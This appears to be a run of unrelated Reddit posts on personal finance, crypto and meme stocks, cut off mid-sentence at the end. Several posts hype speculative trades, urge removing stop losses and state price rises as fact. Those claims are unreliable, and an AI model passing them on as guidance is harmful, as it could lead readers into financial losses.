+**50%** of their money goes towards **necessities** (rent/board/mortgage, groceries, utilities, insurance, transportation, etc.) + +**20-30%** goes into **investments** + +**10-20%** goes into an **emergency fund** they can access quickly + +**10%** goes towards **wants** (entertainment, restaurants, treats, etc.) + +Again, not everyone can follow this budget to a T, and some don’t have to. But it will be important to budget your income and gains into these four separate categories in whichever way works best for you so that you can have strong financial health. + +# 2.) Prepare for taxes + +If your gains are big enough, and unless you’re going to keep them all in a tax-free account, you’re going to have to study up on what tax rates will apply to you and your gains. + +For example, if you get $1.5M, and the tax rate for those sort of gains is 33%, only use the $1M and save aside the other $0.5M solely for taxes. + +# 3.) If your gains are big enough, hire a financial advisor from a trusted institute + +Anyone who makes huge amounts of money will be wise to hire someone that can help them understand what to do with it. + +So if your gains are too overwhelming for you, and your first instincts are to instantly buy all the things you’ve ever wanted, you will actually be wise to calm yourself down and do your research on who you can trust with your money. + +DO NOT follow the financial advice of anyone that comes to you. YOU must go to THEM. + +This leads me to my next point; + +# 4.) Expect scammers, beggars, and family to come out of the woodwork if you make your gains public + +There are people who dedicate their lives to manipulating others to get what they want. And if you make your wealth public by either telling everyone about your gains, or flashing your wealth around, you will become a prime target to some of the scummiest, two-faced con artists on Earth. + +Even family and friends can suddenly show up and subtly ask you for money. They may not be doing this on purpose or out of sheer selfish desire; it’s just human nature. + +This also leads me into my final point; + +# 5.) Prepare for your entire life to change. + +Your personal, relationship, and work life will all change whether you like it or not with your new big gains. + +Prepare for the transition to be stressful, to challenge everything you know and are, and for you to need to re-evaluate your relationships with others as well as your purpose in life. + +Again, the vast majority of people live most of their lives working hard just to get by. Now that money is less of an issue, that changes everything. + +# 6.) Don’t forget that you’re still human + +You are not a genius or a God now that you have this wealth. You can still bleed, and you will die just like everyone else will. + +This also means that your greatest satisfaction and joys in life will not come from your wealth or the things you can now buy that most can only dream about buying. + +It comes from the little things. + +It comes from giving. + +It comes from living in and for love. + +And if you forget about it, you’ll only become the very kind of people that we’re fighting against. +Please remove any stop losses you have before opening. You shouldn’t have a stop loss anyway! +They are clearly selling in premarket to drive the price down. Apes aren’t selling. Market watch and media will post a dooms day article that it’s all over. It’s not! This is a fake play at a market time when we can’t fight back. + +Don’t panic, buy and hodl. Watch it go up on opening. Diamond balls through anything! 🦍🖍🚀🚀 +Fact: There have been 10x to 40x increases after every major upgrade/hard fork (edit: or /Big news event(EEA)) in Ethereum. In Early 2016 and Early 2017. Just like when a bitcoin halving leads to a higher BTC price these Ethereum upgrades lead to greater stability in the protocol and lead us to the eventual scaling solutions. This in turn provides further incentives for companies to pour additional resources into development on the Ethereum blockchain. I will say it here plain and simple, the price of ETH is going to break ATH in the near future once the Hard fork has taken place. What I don't know is whether the run up will begin before the fork or how much it will increase by. I'll leave that for the Traders to figure out. Technical Analysis works great sometimes except when trying to predict when new money is going to flow in. New Money will be flowing in soon. Ask yourself, how many videos and articles do you need to read and see about Wall street and corporations focusing on Ethereum before you will believe this? How many times do you have to read that Coinbase adds 10s of thousands of new accounts weekly. +Join the movement, own part of it and make sure as hell you aren't playing big boy/girl trader (if you aren't a professional trader) when the day comes. You will get caught with your pants down. +On DAOhub Vlad writes in response to Stephan who had earlier made conspiracy claims: + +>Stephan, when I accepted the call to be a Curator for the DAO, my understanding was my responsibilities were solely to be a certificate authority that checks whether payment addresses are truly associated with proposals and that contract addresses truly have EVM that corresponds with the advertised Solidity code. + +>After the DAO's crowd funding event became unexpectedly large and I could no longer ignore it, I started doing due diligence. I found that the community expects the curators to defend the DAO against majority takeover attacks. I also heard from many people who believe that they are able to withdraw their funds from the DAO if they don't like what's going on. + +>I don't know how it happened that these expectations were set, but it became clear to me after learning about the DAO's rules that currently the curators are unable to defend against takeover attacks and that it is not convenient (and it may be even impossible) for token holders to withdraw their funds. + +>I am doing my best to be a responsible curator. Many for some reason are relying on the curators to safeguard the DAO (for example see this comment in this thread). Calling for a moratorium on proposals is the only reliable and immediate way that I can see that I can safeguard the DAO. +I don't have DAO tokens, nor do I intend to make a proposal, nor am I attached to my position as a Curator, nor do I believe that I will ever be compensated for my work, here. I don't relish my time on social media, and consider this to be an unfortunately necessary distraction from my research on Casper, Fatso (my blockchain sharding solution), and the ethics of decentralization. +Finally, we did contact the NYT, but not Coindesk (Morgen Peck is writing the piece for IEEE spectrum, I told her about this in advance of going public because she's my friend, she mentioned that she was writing a piece on the DAO, and I needed someone to talk to about what I'm going through, here). + +>Initially we wanted to announce that the moratorium will take place, by having all of the curators agree before publishing it. In the end it became evident that I was not going to be able to get a strong consensus around the moratorium without seeking input from token holders. So now we're going public with this research, in an effort to reach as many token holders as possible. +If we can have certainty that a moratorium will be held, then I think there will be much less fear, uncertainty and doubt than there is now. + +>Let me close by saying that I value you and Slock.it's contribution to this community. I think it's a tremendous success by many standards. Lets make it a bigger success by playing it safe, instead of taking big risks! I feel a lot of affection for you and Christoph, and I really hope that this doesn't cause any hard feelings. +Welcome to the Daily Altcoin Discussion thread of /r/EthTrader. + +*** + +The thread guidelines are as follows: + +- All sub rules apply here so please review our **[rules page](https://www.reddit.com/r/ethtrader/about/rules/)** to become familiar with them. The rules page is also linked in the announcement bar above. +- This thread is intended as a welcome place for discussion of all non-Ethereum related crypto. + +*** + + Resources and other information: + +* Newcomers who have basic questions about Ethereum can find answers by visiting /r/EthereumNoobies or our Ethereum Education wiki page, [see here](https://www.reddit.com/r/ethtrader/wiki/education). + +* To view live streaming comments for this thread, [click here](https://reddit-stream.com/comments/auto). Account permissions are required to post comments through Reddit-Stream.com. + +*** + +Enjoy! + +I've been trying to wrap my head around how options pricing works under non-normal return distributions and it's been pretty difficult to find any resources regarding this. I know pretty much no one in the market today assumes normally distributed returns when pricing options and I'm aware of the volatility surface/smile phenomenon. But it's not clear to me whether this phenomenon is the result of people using Black-Scholes and essentially just plugging in higher IVs at lower strikes according to some formula, or if people are just using completely different models now, which just happen to appear as a volatility smile when viewed through the lens of Black-Scholes. Is there an accepted standard here? + +I guess what I'm looking for is someone to point me in the direction of some resources that either (a) expand on alternative models to Black-Scholes that don't assume normal returns (preferably models that are actually used in practice) or (b) explain how Black-Scholes is actually used in the real world without assuming the distribution of returns on the underlying is normal. + +And in a similar vein, I would be really appreciative of any resources/research/papers exploring distributions that more accurately describe market returns compared to the normal distribution. + + +here is the link to the subscan address: + +[https://polkadot.subscan.io/account/1x8aa2N2Ar9SQweJv9vsuZn3WYDHu7gMQu1RePjZuBe33Hv](https://polkadot.subscan.io/account/1x8aa2N2Ar9SQweJv9vsuZn3WYDHu7gMQu1RePjZuBe33Hv) + +gavin's original tweet: [https://twitter.com/gavofyork/status/1497914456118075394](https://twitter.com/gavofyork/status/1497914456118075394) + +ukraine's answer tweet: [https://twitter.com/Ukraine/status/1498547710697345027](https://twitter.com/Ukraine/status/1498547710697345027) + +&#x200B; + +[transaction](https://preview.redd.it/lcrazvk29sk81.png?width=1154&format=png&auto=webp&s=655c36ad6e81af26c80fb4ea2b6345c45ea17528) + +&#x200B; + +[total $ donated in dot](https://preview.redd.it/gxdtxj949sk81.png?width=566&format=png&auto=webp&s=dca527913917fa75e9c2cad62ae54bb017fadf2c) + +what a legend! +I havent posted in a while - i am still ok, still zen - still drsing. however a few interesting developments have happened. + +TL: DRS- can you please go to my dashboard or sort the sub by top and submit a post that you like to archive.is - thank you so much. I am ok, just busy. Still zen though. archive.is is similar to archive.org but some posts from archive.org seem to dissapear. + + +&#x200B; + +1-I quit coffee, alcohol and all forms of snacking - thats 50$ a month for the bot - see post. + +2- Due to some insane cost increases and anticipated cost increases in my hosting (which is projected to effectively triple in the next 6 months) I have come to several conclusions which i am outlaying below in caps so its easy to read. + +# before i continue i want to make it clear - this entire plan was always my own decision, i am not looking for any donations, or anything else like this. if you want to you can use my dashboard and site - thats helpful enough. + +# Conclusion number 1 - the last tranche of drives that i purchased was the absolute last tranche - i have 30.71 TB left and its decreasing by about 2 tb a week at the moment. so at most i have maybe 3 months of storage left before i start running out of space. Due to this - i am spending more time deduplicating the archives and less time posting. but it wont really help in the long term because i am collecting many other data sources for this as well. I will still be backing up posts, but i just wont have much extra storage space for probably another 6-9 months minimum. + +# Conclusion number 2 - due to rising electricity costs in the UK i am realising that I wont be able to host absolutely everything on IPFS for the foreseeable future - but i will be able to host as many posts as i can. I hope that will change in the coming months as I do some cost cutting. + +&#x200B; + +Due to these 2 points and the realisation that currently - there is only myself who has the entire archive - i wish to ask for an ape or two to safekeep the export CSV that is used to build the powerbi dashboard - its about 1.3gb for the whole thing and its super easy to rebuild, should something happen to my dashboard or to my hosting. before you say yes please have a think if you would be prepared to rebuild the dashboard so its accessible if anything were to happen to me and to be available for the long haul. + +&#x200B; + +&#x200B; + +[the main dashboard with pages](https://preview.redd.it/dbhnpzov5qw91.png?width=1765&format=png&auto=webp&s=140e1ee174e20710ef4207d073e1a219f72c454f) + +&#x200B; + +Can you then click on the [ARCHIVE.IS](https://ARCHIVE.IS) link - its called archive\_IS\_LINK and see if that post has a home on that site - + +&#x200B; + +[the archive dashboard](https://preview.redd.it/wypgdtka6qw91.png?width=1709&format=png&auto=webp&s=1b11a4944267b7946c1ade0fa7a1066a13133c42) + +&#x200B; + +[thabats archive from archive.is.](https://preview.redd.it/l41f3x7j6qw91.png?width=1210&format=png&auto=webp&s=eb3f0e2c0906f2c13075106fcb7b5f8bdad4d43c) + +as you can see /u/thabat has a good number of backups of that post. - which means if reddit were ever to dissapera you can still visit the post - EVEN if my account is gone or my backups are gone. + +This would also help me massively and put my stress levels at peace that there is another more central backup. + +I will be sharing an export of all posts that I have so that if something were to happen someone can rebuild the powerbi dashboard. + +&#x200B; + +P.S: I am not going anywhere, this is not a goodbye. But I now have many other issues at hand which need to be deal with and I am asking for all OG apes and all the posters to just take the extra 10 seconds and submit their post to [archive.is](https://archive.is) and [archive.org](https://archive.org) themselves so that it is preserved for sure. + +currently there are 3 forms of redundancy , not including the original posts themselves.-which should be sufficient. + +Thanks, + +Ape historian. + +Destroyer of hardrive space. 30.71tb remaining and counting down. lets hope its enough before moass. + +&#x200B; + +ps- link to dashboard is - [https://app.powerbi.com/view?r=eyJrIjoiMDljZTA3NGUtMjJiYS00YjQwLTk5MTktM2VlNWQ5ODViYjM5IiwidCI6IjI4YzVlNGJkLTVkNmMtNGI1OS1hMGU5LTBhMjQ0Mzk4OTNiZSJ9](https://app.powerbi.com/view?r=eyJrIjoiMDljZTA3NGUtMjJiYS00YjQwLTk5MTktM2VlNWQ5ODViYjM5IiwidCI6IjI4YzVlNGJkLTVkNmMtNGI1OS1hMGU5LTBhMjQ0Mzk4OTNiZSJ9) + +it will update tomorrow morning with latest data which i have (up to 13th of October) +Regardless of how much you earn or where you are in your career, I’d love to hear some positive stories about achievements in people’s careers. + +It could be changing career paths, getting that promotion, making a difference, closing a sale, or completing a major project - it might even be all of those at once or a whole lot more! + +Whatever it is, let us know the achievement you’re most proud of so far. +My dad's getting up in years and experiencing some medical issues. + +Total revenue is ~$210k with a profit of ~$90k (estimate). He hires 2 subcontractors. ATM he is maintaining 5 strata contracts. + +His accounting is non-existent, there's no way of tracking payments. I did an audit and found a company did not pay for ~6 months (chased up on it, got it sorted). Lord knows how far back this goes. + +Is it worth taking over the company title when he retires, getting a proper bookkeeper and maintaining the business? +I am your typical VAS/VGS (plus small mixture of other ETFs) investors. I know I am going long terms with my investment. I have set up autoinvest so I can be completely hands free. + +Yet, I can’t stop checking the ETFs I own every hour. Seeing it up makes me feels happy/smart. And if it goes down after my autoinvest I feel down/dumb. + +How do I stop getting emotionally attached to green and red up down arrows? Any friendly tips or tricks will be appreciated. +**Good morning EuroApes, good morning BritApes, good morning international Apes!** + +As your self-appointed patron saint of *les miserables* confined to trading on eToro, I present you this five-step checklist to make sure your eToro Account is all set for our trip to Tendietown. Please note that I am not a financial advisor, and none of this should be interpreted as financial advice. + +Get your favourite crayons to snack on, put your intelligent face on, and let's GO! + +&#x200B; + +# 1. Two-Factor Auth + +https://preview.redd.it/12ndcti5bu071.png?width=650&format=png&auto=webp&s=61369a9f04c75169f007cf5ef1559e75c7346211 + +We all hate 2FA, I know. Just like cookies, they take the fun out of the internet. But please turn it on - you don't want to be caught locked out of your own account right after the rocket took off. Sounds paranoid? You bet! There's a lot at stake here, you *should* be paranoid. + +Go to settings, then to Account, then to Two Factor Authentication. + +&#x200B; + +# 2. Private Profile + +https://preview.redd.it/o1ngj80jbu071.png?width=650&format=png&auto=webp&s=311125d5f80b36caddc91bfdc3abb4815b9aa66c + +People with private profiles inserting themselves in eToro discussions are frowned upon. Well, fuck that. You don't need eToro's poorly-moderated community posts: Superstonk is your home! Protect your identity ahead of the MOAS(S), set your profile to private. + +Go to settings, then to Privacy, and uncheck the two boxes for Public Account and Full name. + +&#x200B; + +# 3. Your Account Manager + +https://preview.redd.it/usdyyfu9cu071.png?width=650&format=png&auto=webp&s=f3a61b03b4b7e82de0ece3b84ed021b67839795d + +Now, I am not sure whether everyone has access to an Account Manager. I think this is tied to how much $€£ you're working with. But if you *do* have access to this feature, go ahead and introduce yourself. They respond quicker than Customer Support. + +For this you need to visit Club Dashboard, which you should find above 'Invite Friends'. + +&#x200B; + +# 4. Keep records + +https://preview.redd.it/milmz6pscu071.png?width=650&format=png&auto=webp&s=ebe07b2991deff103a2c60598fbe57cae2abfc55 + +I don't trust any broker, and neither should you. Again, there's a lot at stake here. Fuckery may be afoot. Screenshots are good, but Account Statements are better. Download these regularly, you might need those docs one day. No need to read them: Just download, back up, done. + +Go to settings, then to Account, scroll down to Account Statement, click View, fill out the dates. + +(*Tip: I do this once a week, and my start date is always 24.01.2021, the day before I first bought GME)* + +&#x200B; + +# 5. No SL/TP! + +https://preview.redd.it/qepra21ddu071.png?width=650&format=png&auto=webp&s=49dc924d7e03789ff303569d6fd094f7afea3d34 + +You didn't think your clogs-wearing Ape would sign off without emphasising the most important, did you? Check every single position, including That Movie Stock if you hold any, and be sure Stop Loss and Take Profit are turned OFF. Not zero, not 1000%. OFF! + +Go to your portfolio, click on the name of a stock or the little gear, check your settings. + +&#x200B; + +\-- + +Alright Apies, I hope this little guide serves you well. Let me know if you have any questions, and please do call me out when I missed something. Remember the MOAS could start tomorrow, on the 10th of June, or in a couple of months. No matter what, hedgies are fukt and shorts must be covered. + +Keep the faith, buy and hodl, think of an exit strategy when you are selling on the way down. I will now tend to my tulips and I wish you all a wonderful Sunday. + +**APES TOGETHER...!!** +Hey r/personalfinance, sorry for the throwaway, but I'd rather not associate this with my main account + + +So I have a new job offer in another state with another Fortune 100 company (I currently work for another Fortune 100 company making a salary in the low 40's in a very low cola area) with a 30% increase in salary, a 12% signing bonus, and better benefits (including eligibility for a pension someday, which I do not have at my current job). The new area I'd be going to would actually have a lower cost of living by the way + + +The interview with the new boss went extremely well, we really clicked and the work seemed interesting. I was going to take the job immediately when I noticed a certain clause in the job offer that said, + + +>this job is predicted to be a 2 year assignment. At the end of your assignment, we will reevaluate your role at the company and see if there are other opportunities here for you. Unless we make you another offer and you accept, your employment with the company will be terminated immediately at the end of the 2 year assignment. This termination will be marked as you voluntarily resigning, meaning you will not get any severance when you leave the company + + +Does this seem normal to you guys? This was never mentioned to me until I read it in the offer. I also understand that this job is "at will", so they can lay me off anytime, but so is my current job, and there's no clause in there saying I'll be reevaluated in 2 years for another role or layed off without severance + + +To me it seems like this role is a temporary job that'll get my foot into the door of this company, which does still have amazing oppurtunity for growth. But I'm pretty conservative about getting a new job in a new area, and I'd rather not risk a temporary job for a higher salary if I'll be unemployed in 2 years + + +My current job is also pretty great by the way. My bosses love me, my coworkers and my team are super nice, and there's also great oppurtunities to grow here too. I'm just underpaid and work 50-60 hours a week, and I feel that it'll be harder to get the 30% bump in salary that I'm getting going to the new company than if I stay here + + +So should I be weary about this clause and reconsider taking the new job? Or is this something normal and am I being paranoid? + +EDIT: so I called this morning like some people recommended, and the recruiter told me that after 1 year, I can switch teams if I want to, but I'd have to stay at that site, and after 2 years I can leave the site for another job and site of the company if I want to. She said it's not a contractor or temporary position, even with that clause in the offer, and I get full health benefits and eligibility to enroll in the pension program after 1 year. + +She also told me I'm not to worry about that 2 year review as long as I do well at my job and on my team, meaning they'll probably let me go if they don't like me or my work I'd assume. + +Also I'm in corporate banking in a back office doing accounting work, I'd be going to do more accounting work in another bank back office, and I just graduated from college last year with my bachelors in accounting, hence my low salary. + + +So I’m currently contemplating getting an E-Bike to start a second job as a Deliveroo cyclist. + +This is purely to help me save for a deposit for a flat. + +I can get the bike I want through my main PAYE Employers Cycle to Work scheme, however I wanted to know what the implications of this would be if I was using it for Deliveroo. + +From what I’ve been able to gather, it needs to be at least 50% qualifying journeys which could include use for work as well as commuting to work. But would using it for Deliveroo, a second self employed job, count as a qualifying journey? I’ve been unable to find any answer to this. + +The bikes main use would be for Deliveroo, so if not then it would likely cause me issues I presume when going to do my self assessment. As if HMRC saw my P11D, and then my self assessment as a cycle delivery rider, I guess they would put two and two together. + +So is this allowed? +I'm fairly new to Reddit, but have been lurking on the daily on r/Frugal r/personalfinance and r/anti-consumption to find some inspiration for tackling my debt. I'm happy to say that as of this morning, I am credit card debt free! To be clear, I still have about $16,000 in a student line of credit to tackle, but goddamn it feels good to have reached my first goal! Thank you to everyone who contributes to these communities, you helped me give my head a shake, and start looking at how I was living. More importantly, this whole process has forced me to look at what I value, and what I want out of life. Say what you will, but at this point I honestly prefer biking to driving, cooking to buying, and home brewed coffee to Starbucks. Not only am I gaining some financial traction, but I have way more time to spend with my incredible boyfriend and ridiculous pup. Life is good. +I’ve been living in Korea for the past \~2 years (and am Korean-American) and over the past few months have been using Coupang to order products and food. I was mainly using it as part of my due diligence for the upcoming IPO but now I’m a loyal customer. Here’s my DD on what’s known as the “Amazon of Korea” (which I think is a well-justified title). + +All information + data is from the [company’s latest S-1 filing](https://www.bamsec.com/filing/162828021004212?cik=1834584) \+ from my own experiences. Company is set to IPO this week (latest [report](https://investorplace.com/2021/03/coupang-ipo-when-will-coupang-go-public-what-is-the-cpng-price-range/) I saw was Thursday, 3/11/21) + +**A Brief History of Coupang** + +* Coupang was founded in 2010 by Bom Kim, a Harvard business school dropout +* The company started off as a daily-deal Groupon type business but pivoted into an EBay-style third party marketplace that reached over $1 billion in sales within 3 years +* Coupang almost went public with that business model but decided to pull out of the IPO because Bom felt like Coupang was one that customers *liked* but not one they *loved* (pretty ballsy move imo) +* As a result, Coupang completely reinvented itself into an end-to-end eCommerce company and with the help of a $2 billion investment from Softbank in 2018, the company has now become a dominant force in Korea + +**What Does Coupang Do?** + +* Let me first set the stage by providing the 3 key values that drive everything that Coupang does: **service, selection, and price.** These values pervade all of Coupang’s business divisions, and I’ll be discussing the company within the framework of these 3 values. +* **First off is in my opinion the most impressive, and that is the company’s service** + * What separates Coupang from its competitors in Korea is that the company has invested billions of dollars in **both technology and infrastructure** **to own the entire customer experience** from desktop to delivery + * This is in contrast to some of the company’s competitors like GMarket and Naver which mainly offers a platform for merchants to sell items + * Competitors are quickly adapting to Coupang’s business model but as of now, Coupang’s model combined with its scale is unique in Korea + * The company owns the **largest logistics footprint in the country with 70% of the population living with 7 miles** of a Coupang logistics center + * This allows the company to offer the **fastest delivery service in the country through Rocket Delivery** which offers the following services: + * First, millions of items are available for either **same day delivery** if ordered in the morning or **Dawn delivery,** which delivers products to you by 7AM if you order by midnight + * Second, **nearly 100% of orders are delivered either by the next day or faster** 365 days a year even before holidays like Christmas + * Third, the company has been able to **eliminate cardboard boxes in over 75% of its orders** which saves the company both costs and in storage space + * Fourth are **frictionless returns.** Instead of having to drop off your items, you simply leave them outside your door and initiate a return on the app which is super convenient +* **The second value to discuss for Coupang is selection, which I’ve also found to be very impressive** + * Put simply, Coupang offers **more items than any other Ecommerce player in Korea** both for products and for groceries + * I’ve personally ordered a range of items from Coupang like pens, strawberries, and tape but you can also buy things like TVs, clothes, and Apple products +* **The third last but not least important value is price** + * First of all, Coupang offers all of the great services like Rocket Delivery and same day shipping through its **Wow Membership (akin to Amazon Prime) for an insanely low rate of 2900 won a month which roughly equates to $2.50** + * Second, the company is **constantly offering deals for products** even for things like cell phones and Apple products + * Coupang’s **goal is to offer the lowest possible prices** to customers and the scary thing is that as the company scales, its competitive advantage on this front will grow more and more +* **Other business divisions** + * Coupang Eats is basically like UberEats and Doordash and it’s a separate app where you can order food + * I get ads for Coupang all the time and from speaking with my Korean friends, it sounds like this is one area where Coupang has a lot of mindshare amongst customers but faces a lot of stiff competition compared to its dominance in eCommerce + * As an investor, it’ll be important to see if this part of the business has a path to profitability and is gaining market share or is just bleeding money since margins are likely very slim + * Merchant Services, which is similar to fulfillment by Amazon. Merchants can send their items to Coupang fulfillment centers so that they don’t need to handle inventory themselves + * Merchants can also pay to advertise on Coupang which is another revenue driver for the company + * Coupang Play is a streaming service + * Coupang Travel which is like a Kayak or Expedia and offers travel deals + * There’s even more the company is working on, but basically what you need to know is that Coupang has a lot of potential growth beyond just eCommerce + +**The Korean Market** + +* I wanted to provide some context about Korea itself from having lived here the past 2 years that is relevant to Coupang + * **First off, Korea is incredibly tech savvy** + * There’s free wifi everywhere even on buses and basically everyone in the country has a smartphone including my grandma + * As a small example, Koreans were using their smartphones to pay many, many years before Apple Pay even existed + * This is obviously important for Coupang because all orders come from online + * **Second, as a baseline, Koreans work incredibly hard** + * Korea was a 3rd world country after the Korean War in the 1950s and since then has become the 4th largest economy in Asia and 12th in the world + * A lot of Korean students literally study from 8am to midnight from elementary school to high school and a lot of my friends who work in corporate work super long hours even without great pay + * I bring this up to say that Coupang is constantly employing a workforce that from a general perspective has an incredibly high work ethic + * **The third is that because Korea’s land is so small, cities are incredibly dense** + * This is what allows for Coupang to operate so efficiently and probably much moreso than is possible in bigger countries like China and the US +* **Addressable Market** + * As of 2019, Korea’s eCommerce market was **$128 billion** and that’s expected to grow to **$206 billion by 2024,** which represents a 10% annual growth rate + * In addition to that, eCommerce spend on a per buyer basis is expected to grow from **$2600** in 2019 to **$4300** in 2024 + * These numbers are great, but what’s really astonishing is that even with Coupang’s massive scale, it currently **only owns about a 4% market share,** which means the company has a lot of room to grow + +**The Bull Case** + +* **First, let’s talk about the company’s scale** + * In the entire country, Coupang is the largest e-commerce player, has the fastest delivery service, owns the largest logistics footprint with over 100 centers across 30 cities, provides the largest selection of products, and largest fleet of drivers with over 15,000 employed + * Coupang was able to grow to its scale today after raising **$3.4 billion, 3 of which came from Softbank,** which has the largest fund in the world and it’s going to be hard for another competitor to come in with that kind of funding (though it is possible) +* **Second is Coupang’s tech because at the end of the day, Coupang is actually a technology and logistics company** + * All that money from Softbank didn’t go only into capital expenditures but also a really sophisticated tech infrastructure that predicts and assigns the fastest and most efficient path for every order + * Each order shifts through 100s of millions of options for inventory, processing, and delivery options all within seconds +* **Third is an extremely loyal and growing customer base** + * Some tech companies provide something called cohort math which is where you see how the same group of people have increased or decreased their spending of a company’s products over time + * If you take a look at this [table](https://content.bamsec.com/0001628280-21-004212/cohort11a.jpg), 2016 customers took 5 years to triple their spending, while it took 2017 customers 4 years, and 2018 customers only 3 years + * From using Coupang myself, I can totally see why this is the case. I went from ordering from multiple sites to pretty much only using Coupang now because it’s so convenient +* **Fourth is the company’s management team** + * Bom Kim (CEO) - The company is founder-led, which I think is usually a good thing because they know the ins and outs of the business + * Thuan Pham (CTO) - Former CTO of Uber (really great hire since Coupang is a logistics company) + * Gaurav Anand (CFO) - Lots of finance experience from Flipkart and Amazon + +**The Bear Case** + +* **First off, the company is unprofitable and may continue to invest in new businesses that could cause severe losses just as when Uber tried to enter China** + * The company points out as a risk factor in its S-1 that it may expand into other countries and I would pay really close attention to this since this could take away the company’s focus and cause losses +* **Second is the lack of shareholder voting rights** + * Coupang’s CEO Bom Kim owns about **77% of the company’s voting rights** and also acts as Chairman of the board, so this guy has a ton of influence over the company + * If Bom Kim starts underperforming for whatever reason or there’s some kind of scandal (abnormally frequent in Korea where there’s a lot of bribery and fraud), this could be something to watch out for +* **Third is Coupang’s valuation** + * As with most IPOs, there will likely be a frenzy and the company’s valuation could get stretched very quickly, so this is just something to watch out for + * At the top end of its range of $34 per share, the company’s valuation will be at about $58BN + + * With LTM sales of \~$12BN, the company’s EV / LTM Sales multiple will by 4.8x (which actually would be a good price in my opinion) + * BUT, there will likely be a pop and I wouldn’t be surprised if shares reach $100, giving the company a \~$100BN valuation and that’s where valuation will be a bit stretched (though long term, still may be okay) + * Will be posting more about Coupang’s valuation after its IPO +* **Fourth, is competition which is a potential issue even for Coupang** + * In November 2020, Amazon invested a 30% stake in competitor 11Street, which is majority owned by SK Telecom which is one of the largest companies in Korea + * The industry Coupang competes in is very lucrative market so there will always be some stiff competition with deep pockets + * I do plan to make another post in the future about Coupang after interviewing my Korean friends some more and will include a competitive landscape analysis when I do + +**Financial Overview** + +* **Revenue** + * From 2019 to 2020, Coupang’s revenue grew from $6.3BN to $12BN, **nearly a 100% increase** (COVID did have a factor in this so can’t expect a similar growth rate moving forward) + * Coupang has been able to grow its quarterly revenue from $0.8 billion in Quarter 1 of 2018 to $3.8 billion in Q4 2020 + * This was driven by a 27% annual increase in number of customers from **9.2 million to 14.8 million** from 2018 to 2020 + * There was also a 42% annual increase in spend per active customer from $127 to $256 from 2018 to 2020 +* **Margins** + * As the company has scaled, it has been able to improve its **gross margins from 4.7% to 16.6%** from 2018 to 2020 + * Coupang also increased its **EBITDA margin from negative 24% to negative 2%** from 2018 to 2020 + * Due to the increase in the company’s scale, the company is spending less on operating expenses as a percentage of revenue and what’s most fascinating to me is that Coupang **only spent 1% of its revenue on marketing in 2020** +* **Cash Flow Statement** + * Company actually posted positive operating cash flow of $300 million (not much) but still, means the company’s core business is not losing money + * With negative $484 million in capital expenditures, the company has negative free cash flow of \~$180 million but that’s essentially breakeven for a $11 billion revenue business +* **Balance Sheet** + * Won’t go into this much because balance sheet will look very different after IPO + * But, the company has $1.2BN in cash and around $1.1BN in debt. Company is raising around $4BN in cash from the IPO so balance sheet is healthy + +**TLDR:** Coupang is the Amazon of Korea. Growing like crazy and at the right valuation, a great way to get exposure to the South Korean eCommerce market which has a lot of tailwinds. Personally from using the service myself over the past few months, I don't see the need to use basically any other eCommerce platform for products or groceries. IPO reported to be this week on Thursday so good one to watch for. +They recently sent out this update: + +"Shortly after the ICO one of the team members, who controlled the keys to wallet with the ICO funds and the DEL token contract, decided that because he had the keys he could dictate the direction of the project. + +After weeks of negotiation, he promised to return the DEL to the original investors. While this promise isn't quite being kept, he did create a contract that appears to let DEL holders redeem their DEL for Ether. + +You can find instructions here: +https://medium.com/@DelphiSystems/redemption-contract-live-a0e75e01e889 + +He has announced that he is going to do another ICO. Needles to say, we do not recommend investing in it. + +The future of delphi.markets is uncertain, we regret that we involved this individual, and believe that the claims in the Delphi Systems whitepaper are not sound, and thus feel the name has been tarnished. + +We hope you are able to retrieve the ETH you put in for your DEL. + +For support, contact him at the above medium article. We have no control over this contract." +Morning all, + +I currently am self employed doing electrical installations, mainly on new build. My revenue is around 50k with 10k in expenses. + +I have the opportunity to subcontract some work which should double my turnover. The subcontractor will invoice me for £100 and I will charge £150 for him. + +I have a few questions if someone could please answer them. + +Is the subcontractor ok submitting an invoice to me? Or does it need to be different as per the CIS scheme? + +I will obviously need to be vat registered, the subcontractor won’t be vat registered, so unless I can charge 20% more, I think I could end up being slightly worse off? + +Is there any other structures that would probably suit this situation better? + +Thanks all +Hypothetically and using the knowledge and your experience, what is the coin that you would pick in order to achieve maximum profit. + +I don't want to hear ETH or BTC as the goal is short/medium term gains. + +What is the dark horse that you guys will pick? + +Goodluck to everyone. + + +Edit: Damn that's a lot of coins that I need to track + +Edit 2: You guy are crazy, so many comments, RIP my inbox + +##Edit 3: Well I wasn't expecting 1,4K comments. I'm gonna try to track the maximum number of coins that I can, can't guarantee tho) +Hey all. The wife and I are thinking about doing foster care. With how screwed up the world is we are wanting to do what we can to make at least one kids life better. + +I hope this is the right sub for this question, but I want to know what some financial implications are of foster care. We have a bit of margin financially, but if foster care is too great of a net negative we may need to wait a few more years. + +We are just in the searching process so wanted to get some feedback, potentially from those who have done it. What are some costs we wouldn't be thinking about? Was your state able to meet the financial needs of your foster child? Or did it come out to a net loss? If so, how much of one? + +Thanks +If so, are you partially motivated to RE so that you can play more games? Not sure if I'm the only one. I don't seem to see too many people discuss hobbies outside of hiking on this subreddit. However the demographics survey seems to hint at us being a fairly nerdy/tech-oriented group. +The long awaited Bitcoin Taproot upgrade is 6 days away. For those of you that don’t know, it basically: + +- Unlocks the potential for smart contracts +- Allows for privacy protected transactions +- Lower transaction fees + +Bitcoin will become a major DeFi player after this upgrade. + +It is the first upgrade for the network since November 2017. Segregated Witness (SegWit) was deployed, and the network forked to create Bitcoin Cash. + +The multiple signature part will enable more complex transactions like those used in smart contracts. Developers are already working on smart contracts for the Lightning Network which is Bitcoin’s layer 2 scaling solution. + +Anyone here needed a reason to be bullish on BTC? +I pay monthly instalments by direct debit (circa 120) and I have told my council that I am moving out in 20 days so expected my final bill to be a bit lower than 120as it’s not a full month from the previous payment. + +To my horror, they have sent me an ebill for 800 pounds, for the rest of the tax year due in September! + +Is this a normal error?! Can I delete my DD until they sort it out? +Welcome to the Weekly New Projects Discussion thread of /r/EthTrader. + +* Introduce your own new project within the Ethereum ecosystem +* Vet/share/discuss new projects you come across +Would you have any issues using MEW and entering your private key over hotel wifi? + + +I am in a hotel and desperate to make some trades but I'm worried about security. + + +Am interested to hear people's thoughts on this? + +I feel lost. + +Me and my father got into an argument. We started yelling, he pushed me, I pushed back. I defended myself enough to get him off of me, ran downstairs and locked my door. Packed enough shit to get by for a few days. + +I have no food, water, or shelter. I have a job but I don't get paid until next Friday. I'm not sure how I'm going to get to and from work though. I have $250 readily available in my bank account, but that's it. + +Do I open a credit card? What on earth do I do? + +I 